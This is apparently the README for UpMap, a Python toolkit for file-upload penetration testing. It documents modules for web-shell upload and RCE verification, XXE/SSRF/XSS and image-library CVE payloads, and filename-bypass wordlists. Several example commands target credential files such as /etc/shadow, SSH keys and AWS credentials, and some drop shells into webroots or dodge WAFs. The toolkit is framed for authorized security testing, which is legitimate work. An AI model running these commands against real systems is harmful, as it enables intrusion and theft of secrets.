██╗ ██╗██╗ ██╗███╗ ███╗ █████╗ ██████╗
██║ ██║██║ ██║████╗ ████║██╔══██╗██╔══██╗
██║ ██║██║ ██║██╔████╔██║███████║██████╔╝
██║ ██║██║ ██║██║╚██╔╝██║██╔══██║██╔═══╝
╚██████╔╝╚██████╔╝██║ ╚═╝ ██║██║ ██║██║
╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝
Unrestricted Upload Map · by @0xbugatti
- Overview
- The Three Tools
- Why This Family
- Installation
- The
paths.jsonRegistry - The
--file-readOverride - Quick Start
- Combined Workflows
- Attack Inventory
- Output Layout
The File-Upload Arsenal is a three-tool Python toolkit for authorized
file-upload security testing — pentest engagements, CTF challenges, and
defensive research. Every tool is a single self-contained .py file with
its own embedded copy of the shared registry, so each runs offline with no
configuration files to deploy.
The three tools split the work cleanly:
| Tool | Purpose | Network? | External deps |
|---|---|---|---|
| UpMap.py | Live scanner — uploads payloads, verifies execution | Yes | requests (mandatory), beautifulsoup4 (optional) |
| UpGen.py | Offline payload-body generator | No | Standard library only |
| Upname.py | Offline filename wordlist generator | No | Standard library only |
A single canonical file, paths.json (590+ known-file paths, organized
into Linux / Windows / web-roots / DevOps-cloud / cloud-metadata / SSRF
targets), is embedded into all three tools and reachable via @key.path
lookups from every --file-read and --webroot flag.
┌─────────────────────────────────────────────────────────────────────┐
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ UpGen.py │ │ Upname.py │ │ UpMap.py │ │
│ │ (BODIES) │ │ (FILENAMES) │ │ (LIVE) │ │
│ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ shell.php, ../etc/passwd.jpg, POST /upload │
│ xxe_oast.xml, shell.pHp.jpg, with body+name, │
│ ssrf.svg,... name%00.jpg,... verifies exec. │
│ │
│ ╲ ╱ │
│ ╲ ╱ │
│ ╲ ╱ │
│ ▼ ▼ │
│ Feed both into UpMap, Burp Intruder, or ffuf. │
│ │
└─────────────────────────────────────────────────────────────────────┘
The live scanner. Point it at an upload URL (or a Burp request file) and it runs 50 attack modules that upload + verify in one pass. Covers extension bypasses, RCE shells, XXE/XSS/SSRF/SSI/ESI, image-processing CVEs (ImageTragick / Ghostscript / libavformat), Office-XML XXE, archive traversal, PDF exploits, known-CVE endpoints, and content/wordlist fuzzers.
Key capabilities:
- 7 upload transports (multipart / raw PUT / JSON-b64 / JSON-raw / XML / urlencoded / templated)
- Multi-target sweeps via
--targets file.txt - Resume from interrupted scans (state on disk)
- Threaded module execution via
-T N - OAST / OOB support (interactsh, Burp Collaborator)
- BeautifulSoup form auto-discovery
- CSRF-aware (scrapes hidden tokens, refreshes on 419)
- Custom shell injection (
--shell s.php,--cmd-param x) - RCE verification (
-D /uploads/— GETs the stored shell and confirms execution) - 256-color terminal UI with finding highlights
Generates payload bodies to disk so you can review, edit, or upload them
by hand. 13 generators (bypass, filename, config, rce, xxe,
xss, ssrf, esi, images, pdf, csv, zip, fuzz) covering every
file body the live scanner ships.
Why offline:
- Audit payloads before they hit a target.
- Run them through a custom delivery layer (Frida, Burp Repeater, a CI hook).
- Build a per-language test corpus once and reuse across engagements.
- Works with zero network.
Each payload is written to a per-extension subfolder, named
<NNNN>_<attacktype>_<handle>.<ext> for deterministic ordering.
Generates per-language .txt wordlists of mutated/injected filenames
for Burp Intruder, ffuf, or any tool that loops over a multipart
filename= field.
Two selector groups:
--technique(8) — filter-bypass families that smuggle.phppast validation:extension_shuffle,double_extension,null_byte_cutoff,stripping_extension,discrepancy,name_overflow,special_char_bypass,wordlist_fuzzer.--attack(4) — injection families where the filename CARRIES the payload:path_traversal_filename,xss_filename,sqli_filename,command_injection_filename.
Output is split into _raw.txt (literal bytes — NUL-byte safe, Burp
multipart-ready) and _urlenc.txt (URL-encoded, delivery-layer safe), so
you pick the encoding that matches your consumer.
| Advantage | What it means |
|---|---|
| Clean division of labor | Bodies vs. filenames vs. live delivery — never mixed, never coupled. Use any subset standalone. |
| One paths.json, three tools | Edit one file, re-embed once, all three are in sync. No drift, no copy-paste. |
| Self-contained Python files | Each tool ships its own embedded registry. Move a .py file alone — it still works. |
@key.path resolution everywhere |
--file-read @linux.credentials works identically in all three tools. |
| Directory-aware | Refuses literal dir paths; filters dir leaves from @key results; allows dirs only where they make sense (--webroot). |
| Five-language coverage | PHP / ASP(.NET) / JSP / ColdFusion / Perl-CGI, with byte-identical exec-extension tables across UpGen + Upname. |
| OAST / OOB support | XXE, SSRF, ESI, blind-XSS — every OOB payload has a fallback for offline runs. |
| RCE verification | UpMap doesn't just upload — it GETs the stored file and confirms code execution. |
| Override semantics | One --file-read PATH flag retargets every LFI payload in UpGen and UpMap (XXE, SSI, SSRF file://, php://filter, Ghostscript .libfile, CSV HYPERLINK, etc.). |
| Unified styling | Same logo, same color palette, same --list UX. Cognitive load = zero when switching tools. |
| Zero-dep offline core | UpGen and Upname need only Python 3.8+. UpMap adds requests (and optional beautifulsoup4 for form auto-discovery). |
git clone https://github.com/0xbugatti/UpMap.git
cd UpMap
# Minimal: UpGen + Upname work standalone with the stdlib.
python UpGen.py --list
python Upname.py --list
# Full: UpMap needs `requests` (mandatory) + optionally `beautifulsoup4`.
pip install requests beautifulsoup4
python UpMap.py --listRequirements:
| Tool | Python | Mandatory | Optional |
|---|---|---|---|
| UpGen | 3.8+ | — | — |
| Upname | 3.8+ | — | — |
| UpMap | 3.8+ | requests |
beautifulsoup4 (form auto-discovery) |
No build step. No virtualenv required. Just clone and run.
paths.json is the canonical known-paths registry shipped alongside the three
tools. It carries 590+ leaves organized into six top-level categories:
| Top-level key | What it holds | Used by |
|---|---|---|
linux |
9 subcategories — system_info, network, process_runtime, credentials, shell_history, logs, scheduled_tasks, mail_spool, app_configs | --file-read (all three) |
windows |
7 subcategories — system_info, registry_hives, credentials, shell_history, logs, iis, third_party_creds | --file-read (all three) |
webroots |
7 per-language subcategories — php, asp, aspx, jsp, coldfusion, perl_cgi, static | Upname --webroot (drop-target dirs) |
devops_cloud |
12 subcategories — docker, kubernetes, aws, gcp, azure, cicd, scm, iac, secrets_managers, containers_runtime, env_files, databases | --file-read |
cloud_metadata_endpoints |
File-based cloud-init / waagent / GCE-agent artifacts — 7 providers | --file-read (LFI-safe; file paths only) |
ssrf_targets |
URL-based IMDS / metadata endpoints — 12 providers | Reserved for SSRF; never routed through --file-read |
The bright-line rule: cloud_metadata_endpoints is files;
ssrf_targets is URLs. The resolver enforces this split — file-read
consumers see file paths, SSRF consumers see URLs. No leakage.
Every --file-read (and Upname's --webroot) accepts either a literal path
or an @key.path lookup into the registry:
--file-read /etc/passwd # literal
--file-read @linux.credentials # resolves to /etc/shadow, /etc/sudoers, ~/.ssh/*, ...
--file-read @linux.credentials.id_rsa # drill down to a single file
--file-read @devops_cloud.aws # ~/.aws/credentials, ~/.aws/config, ...
--file-read @cloud_metadata_endpoints.aws # /var/lib/cloud/data/instance-id, etc.
--file-read @windows.iis # web.config, applicationHost.config, ...The walker collects every string leaf under the key, silently filtering
directory entries (trailing / or \) so consumers never get a path
they can't read(). Single-target consumers (UpMap, UpGen) pick the first
leaf; wordlist consumers (Upname path_traversal_filename) fan out to
every leaf.
Some entries carry placeholders that are documented in $placeholders:
| Placeholder | Meaning |
|---|---|
{USER} |
Non-root username on shared / multi-user box |
{DOMAIN} |
vhost domain name |
{APP} |
IIS site/application name |
{VERSION} |
Tool version segment (e.g. PHP 8.2, PostgreSQL 14) |
{TOMCAT_VER} |
Tomcat major.minor |
{YYMMDD} |
IIS log date suffix |
{HOSTNAME} |
Machine short hostname (MySQL/XAMPP .err files) |
A single flag in all three tools retargets every LFI-bearing payload:
# UpMap: every _lfi(ctx, …) site (XXE, SSI, SSRF, CSV HYPERLINK, Ghostscript)
python UpMap.py -u https://target/upload --file-read @linux.credentials
# UpGen: every _lfi / _lfi_urlenc / _lfi_charref site
python UpGen.py xxe -E php --file-read @windows.iis
# Upname: path_traversal_filename READ-mode targets (wordlist fan-out)
python Upname.py path_traversal_filename -E php --file-read @linux.credentialsOverride semantics (UpMap, UpGen — single-target):
- Unset → each payload keeps its hardcoded default (
/etc/passwd,win.ini,/etc/hostname, …). - Literal path → used verbatim.
@key→ first resolved leaf wins.
Override semantics (Upname — wordlist):
- Unset → READ-mode emits one set of traversal payloads for
/etc/passwd. @key→ emits a set for every resolved leaf (true wordlist fan-out).
Encoded variants follow the override. In UpGen, the URL-encoded and char-ref XXE bypass payloads automatically wrap the override path:
--file-read /proc/self/environ
→ file:///proc/self/environ (raw)
→ file://%2Fproc%2Fself%2Fenviron (urlenc)
→ file://%252Fproc%252Fself%252F… (double-urlenc)
→ file:///proc/self/environ (char-ref bypass)
Directory refusal (C3): If you pass a literal directory path (trailing
/ or \) the tool refuses with a clear error rather than silently
producing a broken payload:
$ python UpGen.py xxe -E php --file-read /etc/cron.d/
UpGen.py: error: --file-read '/etc/cron.d/' is a directory path. Specify
a file inside it (e.g. /etc/cron.d/foo.conf) — LFI payloads cannot 'read'
a directory.
@key resolution silently drops dir leaves from multi-leaf results (so
@linux cleanly yields the 193 readable files under it). A @key.path
that resolves to a single directory is also refused.
# Auto-discover form, scan everything, OAST callbacks via interactsh
python UpMap.py -u https://target.com/upload \
--oast https://abc.oast.fun \
-D /uploads/ -T 6 -R
# Run a subset of modules
python UpMap.py -u https://target/upload --field file \
-m xxe_xml,xxe_svg,xss_svg,ssrf_url
# Replay a captured Burp request (markers auto-inserted)
python UpMap.py -r request.txt --field file
# Sweep 100 hosts from a file
python UpMap.py --targets targets.txt -T 8 --resume scan.state
# Override every LFI payload to read SSH keys instead of /etc/passwd
python UpMap.py -u https://target/upload --file-read @linux.credentials
# List all modules
python UpMap.py --list# Generate every attack type for every language
python UpGen.py all -o out/
# Just XXE, for PHP backends, with @key override
python UpGen.py xxe -E php --file-read @windows.iis -o out/
# RCE shells in three langs (custom shell injection)
python UpGen.py rce -E asp --shell my_shell.aspx --cmd-param x
# Custom OAST host embedded in XXE/SSRF/ESI payloads
python UpGen.py xxe ssrf esi --oast https://abc.oast.fun
# List all 13 generators
python UpGen.py --list# Filter-bypass technique set for PHP
python Upname.py extension_shuffle double_extension null_byte_cutoff -E php
# Every technique + every attack for ASP
python Upname.py --technique all --attack all -E asp -A png
# Path-traversal READ targets (wordlist fan-out across the credentials category)
python Upname.py path_traversal_filename -E php --file-read @linux.credentials
# Path-traversal WRITE targets (drop shell into known webroot dirs)
python Upname.py path_traversal_filename -E php --webroot @webroots.php.linux
# Mega rollup: union of every technique into one all.txt per language
python Upname.py all --mega -o wordlists/
# Deterministic by default; --seed shuffles for WAF dodging
python Upname.py wordlist_fuzzer -E php --seed 1337# Step 1: build a PHP body corpus offline
python UpGen.py all -E php -o /tmp/upgen_php/
# Step 2: build a filename wordlist with traversal targets
python Upname.py all --mega -E php \
--file-read @linux.credentials \
--webroot @webroots.php.linux \
-o /tmp/upname_php/
# Step 3: live-scan with the wordlist as the filename source
python UpMap.py -u https://target/upload --field file \
--filename-list /tmp/upname_php/php/all.txt# Generate every body
python UpGen.py xxe xss ssrf rce -E asp -o ./bodies/
# Drag a body into Burp Repeater, swap @key targets as needed# Produces ./out/{php,asp,jsp,coldfusion,perl}/technique/...
python Upname.py null_byte_cutoff -E all -o ./out/# UpGen automatically emits raw + urlenc + double-urlenc + char-ref forms
# of every XXE bypass payload, each pre-wrapped around the override target.
python UpGen.py xxe -E php --file-read /proc/self/environ -o ./encoded/Grouped by phase (the live execution order is also --list order):
EXTENSION & FILENAME (8)
mime_spoofing, double_extension, extension_shuffle, null_byte_cutoff,
stripping_extension, discrepancy, name_overflow, special_char_bypass
DATA-URI & OBFUSCATION (2)
data_uri_upload, php_obfuscation
FILENAME INJECTION (1)
path_traversal_filename
CONFIG OVERWRITE (3)
htaccess_overwrite, web_config_overwrite, config_file_upload
CODE EXECUTION (5)
php_rce, asp_rce, asp_obfuscation, jsp_rce, jsp_obfuscation, cgi_rce
SSI / POLYGLOTS (3)
ssi_injection, polyglot_php_jpeg, image_steganography
XXE (4)
xxe_xml, xxe_svg, xxe_xmp, docx_xxe
XSS (3)
xss_svg, xss_html, xss_polyglot
SSRF / ESI (3)
svg_ssrf, ssrf_url, url_file_ssrf
ESI (1)
esi_injection
IMAGE-PROCESSING CVEs (5)
imagetragick_sleep, imagetragick_oast, imagemagick_mvg,
ghostscript, libavformat_ssrf
POLYGLOTS / PDF / ZIP (3)
polyglot_image_rce, pdf_exploit, zip_traversal
DETECTION (3)
eicar_detection, fingerping, known_cve_endpoints, swf_xss
FUZZING & MISC (3)
wordlist_fuzzer, content_fuzzer, dos_crashfiles, zip_split_obfuscation
| Generator | Label |
|---|---|
bypass |
Bypass / Evasion |
filename |
Filename / Path Injection |
config |
Config / Handler Abuse |
rce |
RCE / Code Execution |
xxe |
XXE |
xss |
XSS |
ssrf |
SSRF |
esi |
ESI |
images |
Image / Media CVEs |
pdf |
|
csv |
CSV |
zip |
Archive / ZIP |
fuzz |
Fuzzing / DoS |
| Technique | What it does |
|---|---|
extension_shuffle |
Alt exec extensions + case variants |
double_extension |
shell.php.jpg / shell.jpg.php / shell.php.php |
null_byte_cutoff |
10 terminators (NUL/;/space/newline/CRLF/…) × 2 positions |
stripping_extension |
Recursive-strip dodge (.p.phphp / .pphphp / …) |
discrepancy |
Dot-encoding mismatch (%2e/%252e/fullwidth/trailing) |
name_overflow |
Pad to 236 / 255 / 4096-byte truncation thresholds |
special_char_bypass |
Trailing dot/space, ADS, RTL, reserved names |
wordlist_fuzzer |
Kitchen-sink — union of every technique above |
| Attack | What it does |
|---|---|
path_traversal_filename |
Traversal to read system file OR drop shell into webroot |
xss_filename |
XSS payload as filename (fires when name is echoed in HTML) |
sqli_filename |
SQLi payload as filename (fires on INSERT into uploads table) |
command_injection_filename |
Command-injection as filename (fires when passed to system()) |
UpGen_out/
├── php/
│ ├── 0001_rce_0xbugatti.php
│ ├── 0002_xxe_oob_0xbugatti.xml
│ ├── 0003_xxe_bypass_urlenc_0xbugatti.xml
│ └── ...
├── asp/
├── jsp/
├── coldfusion/
└── perl/
Upname_out/
├── php/
│ ├── _README.txt
│ ├── technique/
│ │ ├── extension_shuffle.txt
│ │ ├── double_extension.txt
│ │ ├── null_byte_cutoff_raw.txt ← contains NUL bytes
│ │ ├── null_byte_cutoff_urlenc.txt ← URL-encoded equivalent
│ │ └── ...
│ ├── attack/
│ │ ├── path_traversal_filename_raw.txt
│ │ ├── path_traversal_filename_urlenc.txt
│ │ ├── xss_filename.txt
│ │ ├── sqli_filename.txt
│ │ └── command_injection_filename.txt
│ └── all.txt ← optional, --mega
├── asp/
├── jsp/
└── ...
Why the _raw / _urlenc split? Techniques carrying binary or control
bytes (NUL, CRLF, fullwidth Unicode) emit BOTH files:
_raw.txt— literal bytes; what Burp's multipartfilename=field expects._urlenc.txt— printable; what already-encoded delivery layers consume.
Lines with raw \n/\r are skipped from _raw.txt (would break the
wordlist format); their semantic equivalent lives in _urlenc.txt as
%0a / %0d%0a.